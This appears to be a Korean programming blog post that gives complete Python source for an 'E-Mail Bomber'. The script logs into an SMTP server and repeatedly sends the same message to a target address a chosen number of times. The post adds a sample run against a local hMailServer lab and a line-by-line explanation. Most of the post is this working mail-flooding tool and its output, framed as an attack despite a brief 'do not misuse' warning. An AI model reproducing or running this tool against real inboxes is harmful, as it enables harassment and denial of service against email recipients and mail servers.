스팸(Spam) 테스트를 위해 E-mail Bomb(이메일 폭탄)을 제작하게 되었습니다.
다음은 E-Mail bomber Python 프로그래밍 예제입니다. (절대, 악용하지 마십시오)
해킹 도구만이 아닌 Python 프로그램 구현 시 E-Mail 알람 등에 활용할 수 있을 것으로 생각됩니다.
# E-Mail Bomber Source
# -*- coding: utf-8 -*-
# Python 3.8.2
# **************************************************************************************
#
# brief Mail Bomber
#
# file EmailBomb.py
# date 2020.05.12
# author greensul
#
# **************************************************************************************
import smtplib
from email.mime.text import MIMEText
import time
class Email_Bomber:
def __init__(self, senderEmailServer, senderEmail, senderPW):
try:
self.smtp = smtplib.SMTP(senderEmailServer, 587)
self.smtp.ehlo() # say Hello
self.smtp.starttls() # TLS 사용시 필요
self.smtp.login(senderEmail, senderPW)
except Exception as e:
# print(e)
self.smtp = smtplib.SMTP(senderEmailServer, 587)
self.smtp.ehlo() # say Hello
# self.smtp.starttls() # TLS 사용시 필요
self.smtp.login(senderEmail, senderPW)
def MailSender(self, cnt, message, subject, senderEmail, targetEmail):
msg = MIMEText(message)
msg['Subject'] = subject
msg['To'] = targetEmail
for i in range(cnt):
self.smtp.sendmail(senderEmail, targetEmail, msg.as_string())
print("* Send E-Mail : " + str(i))
self.QuitSMTP()
def QuitSMTP(self):
self.smtp.quit()
if __name__ == "__main__":
print("*****************************************************")
print("* E-Mail Bomb Test")
print("*****************************************************")
TargetEmail = input('* Target E-Mail address : ')
SendCnt = int(input('* Mail Send Count : '))
SenderMailServer = input('* Your(Sender) E-Mail Server : ')
SenderEmail = input('* Your(Sender) E-Mail address : ')
SenderPW = input('* Your(Sender) E-Mail password : ')
Subject = input('* E-Mail subject : ')
Message = input('* E-Mail message : ')
print("*****************************************************")
print("* E-Mail Send")
print("*****************************************************")
start_time = time.time()
EBomber = Email_Bomber(SenderMailServer, SenderEmail, SenderPW)
EBomber.MailSender(SendCnt, Message, Subject, SenderEmail, TargetEmail)
print("*****************************************************")
print('* Seconds: %s' %(time.time() - start_time))
# E-Mail Bomber Result
공격자 green@green.com 이 sul@sul.com 으로 Email 폭탄(?)을 보내려고 합니다.
python으로 EmailBomb.py 를 구동합니다.
Target E-mail 은 sul@sul.com 입력합니다.
E-Mail은 10개만 보내겠습니다.
Sender 의 이메일 정보를 입력합니다.
제목과 내용을 입력하면 이메일이 발송됩니다.
마지막에 소요 시간(초)을 찍어줍니다.
python EmailBomb.py
*****************************************************
* E-Mail Bomb Test
*****************************************************
* Target E-Mail address : sul@sul.com
* Mail Send Count : 10
* Your(Sender) E-Mail Server : green.com
* Your(Sender) E-Mail address : green@green.com
* Your(Sender) E-Mail password : qwe123
* E-Mail subject : E-Mail Bomber Test
* E-Mail message : I'll Send E-Mail
*****************************************************
* E-Mail Send
*****************************************************
* Send E-Mail : 0
* Send E-Mail : 1
* Send E-Mail : 2
* Send E-Mail : 3
* Send E-Mail : 4
* Send E-Mail : 5
* Send E-Mail : 6
* Send E-Mail : 7
* Send E-Mail : 8
* Send E-Mail : 9
*****************************************************
* Seconds: 2.0275771617889404
10개의 이메일 회신을 확인합니다.
# 메일 서버 실습 환경 구성
우선 실습 환경을 만들어야 합니다.
메일 서버 실습 환경은 아래 두 개의 포스팅을 참고하여 주십시오.
저의 경우에는 메일 서버에 도메인(domain) 2개를 설정하였습니다. (green.com, sul.com)
[E-mail] hMailServer 와 Thunderbird로 이메일 서버 구축 테스트 #1
[E-mail] hMailServer 와 Thunderbird로 이메일 서버 구축 테스트 #2
# E-Mail Bomber Source 설명
import smtplib |
- smtplib : 메일을 보내는 데 사용하는 SMTP 관련 라이브러리입니다.
- MIMEText : 메일 내용을 MIME Type으로 변환합니다.
- import time : 메일 발송 소요 시간을 체크합니다.
class Email_Bomber: def __init__(self, senderEmailServer, senderEmail, senderPW): try: self.smtp = smtplib.SMTP(senderEmailServer, 587) self.smtp.ehlo() # say Hello self.smtp.starttls() # TLS 사용 시 필요 self.smtp.login(senderEmail, senderPW) except Exception as e: # print(e) self.smtp = smtplib.SMTP(senderEmailServer, 587) self.smtp.ehlo() # say Hello # self.smtp.starttls() # TLS 사용시 필요 self.smtp.login(senderEmail, senderPW) |
- Email_Bomber Class 를 생성하고 생성자를 만듭니다.
- 기본 587 Port 를 사용하여 메일을 발송합니다. 혹시라도 Port를 변경해야 하면 587이 아니라 변수로 받으십시오.
- try 를 사용한 이유는 hMailServer의 기본 Setting에는 TLS를 사용하지 않습니다. try 로 starttls 를 하고 에러 발생 시 TLS를 주석처리한 except 을 호출하게 하였습니다.
def MailSender(self, cnt, message, subject, senderEmail, targetEmail): msg = MIMEText(message) msg['Subject'] = subject msg['To'] = targetEmail for i in range(cnt): self.smtp.sendmail(senderEmail, targetEmail, msg.as_string()) print("* Send E-Mail : " + str(i)) self.QuitSMTP()
def QuitSMTP(self): self.smtp.quit() |
- MIMEText 로 msg를 선언하고 내용, 제목, 타겟 메일을 입력합니다.
- Count 를 받아 for 문으로 반복합니다.
- for 문이 종료되면 QuitSMTP() 함수를 호출하여 세션을 종료합니다.
Python 으로 Email 발송하는 예제에 대해 알아보았습니다.
메일 발송용으로 소스를 수정하여 모듈로 관리하고 필요시 사용할 예정입니다.
감사합니다.
'IT > Python' 카테고리의 다른 글
[Python] Send E-Mail - smtplib, MIMEText (0) | 2020.05.16 |
---|---|
[Python] Gmail 을 이용하여 메일 발송 시 Error 처리 - Gmail 앱 비밀번호 설정 (0) | 2020.05.15 |
[Python] Class 생성 - Log writer class 예제 (0) | 2020.05.08 |
[Python] 구구단 프로그래밍 예제 (0) | 2020.05.05 |
[Python] 자료형 - 문자열(String) (0) | 2020.05.04 |
댓글